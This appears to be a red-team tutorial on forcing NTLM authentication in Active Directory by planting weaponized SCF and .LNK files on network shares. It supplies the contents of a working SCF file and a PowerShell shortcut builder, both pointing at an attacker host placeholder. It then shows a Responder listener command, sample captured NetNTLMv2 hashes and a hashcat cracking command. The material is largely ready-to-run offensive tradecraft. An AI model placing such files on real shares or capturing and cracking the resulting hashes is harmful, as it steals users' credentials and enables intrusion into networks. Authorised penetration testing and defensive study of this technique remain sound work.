Introduction
In modern Active Directory (AD) engagements, achieving initial access or lateral movement does not always require executing complex payloads or risking Endpoint Detection and Response (EDR) alerts with memory dumps. Instead, red teams can exploit inherent design flaws in the Windows user interface to force automated credential exposure.
By strategically placing weaponized shortcuts inside accessible network shares, operators can coerce outbound NTLM authentication from any user who simply browses the folder.
Two primary file types serve as highly reliable coercion primitives:
- SCF (Shell Command File): A legacy format that forces instant icon resolution.
- .LNK (Windows Shortcut): A standard file type used to reference local or remote targets.
When Windows Explorer renders these files, it attempts to parse their icons or metadata. If these attributes point to an attacker-controlled Universal Naming Convention (UNC) path, the victim's workstation automatically initiates an outbound SMB connection, exposing NTLMv2 challenge-response hashes.
Weaponizing the Shared Folder
Internal network shares (such as departmental drives, public dropboxes, or misconfigured SYSVOL directories) are ideal hunting grounds for this technique. The objective is to place a file that triggers authentication silently, without requiring the user to double-click or execute an application.
SCF Abuse: The Zero-Click Primitive
A Shell Command File (SCF) is an old-school text format utilized by Windows Explorer to navigate directories or trigger basic interface actions like minimizing all windows to show the Desktop. Because Windows Explorer attempts to display a custom icon for the file immediately upon opening the directory, the coercion happens automatically during folder enumeration.
To weaponize an SCF file, create a text file named @styles.scf (using the @ symbol forces the file to the top of the directory listing, ensuring early rendering) and insert the following configuration:
[Shell]
Command=2
IconFile=\\<ATTACKER_IP>\share\pwn.ico
[Taskbar]
Command=ToggleDesktop
As soon as an AD user or administrative service opens the share containing this file, Windows attempts to fetch pwn.ico from the specified remote path, passing the current user's NetNTLMv2 hash to the listener.
.LNK Abuse: The Modern Alternative
While SCF files are highly effective, their legacy nature makes them easy targets for modern file-integrity monitoring or specific defensive rules. Standard Windows shortcuts (.LNK) offer a stealthier, highly customizable alternative that achieves the exact same coercion effect when Windows parses the shortcut icon.
Operators can generate a weaponized .LNK file using a simple PowerShell script to explicitly direct the icon location to a rogue SMB server:
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\legit.lnk")
$lnk.TargetPath = "\\<ATTACKER_IP>\@pwn.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the directory where this file is saved will trigger an auth request."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
Catching the Hashes
Once the weaponized file is placed, the operator positions an LLMNR/NBT-NS/SMB rogue listener on the target subnet to capture incoming authentication requests. Tools like Responder (Linux), Inveigh, or InveighZero (Windows/C#) are standard for setting up rogue SMB servers.
Running Responder
Launch Responder on the attack machine, ensuring the SMB server is active to intercept the incoming authentication material:
sudo responder -I eth0 -rdv
When a victim browses the share, Responder captures the NetNTLMv2 hash structure:
[SMB] NTLMv2-SSP Client : 10.10.10.50
[SMB] NTLMv2-SSP Username : TARGET_DOMAIN\jdoe
[SMB] NTLMv2-SSP Hash : jdoe::TARGET_DOMAIN:1122334455667788:A1B2C3D4E5F6...
Operationalizing the Captured Material
Depending on the security controls discovered during the initial reconnaissance phase, the captured NTLMv2 material can be utilized for offline cracking.
If SMB Signing is enforced across the environment, operators can feed the NetNTLMv2 hashes into Hashcat to recover plaintext credentials for accounts utilizing weak passwords:
hashcat -m 5600 hashes.txt wordlist.txt